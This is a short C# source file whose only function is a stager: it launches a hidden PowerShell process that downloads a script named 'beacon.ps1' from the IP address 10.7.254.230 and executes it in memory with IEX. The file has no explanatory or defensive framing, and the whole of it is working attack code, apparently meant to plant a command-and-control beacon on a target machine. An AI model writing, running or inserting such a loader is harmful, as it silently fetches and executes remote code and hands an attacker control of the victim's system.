Program.cs

using System;
using System.Diagnostics;

namespace peewpw
{
    static class Program
    {
        [STAThread]
        static void Main()
        {
            Process process = new Process();

            process.StartInfo.FileName = "powershell.exe";
            process.StartInfo.Arguments = "-c \"IEX((new-object net.webclient).downloadstring(\'http://10.7.254.230/beacon.ps1\'))\"";
            process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            process.Start();
        }
    }
}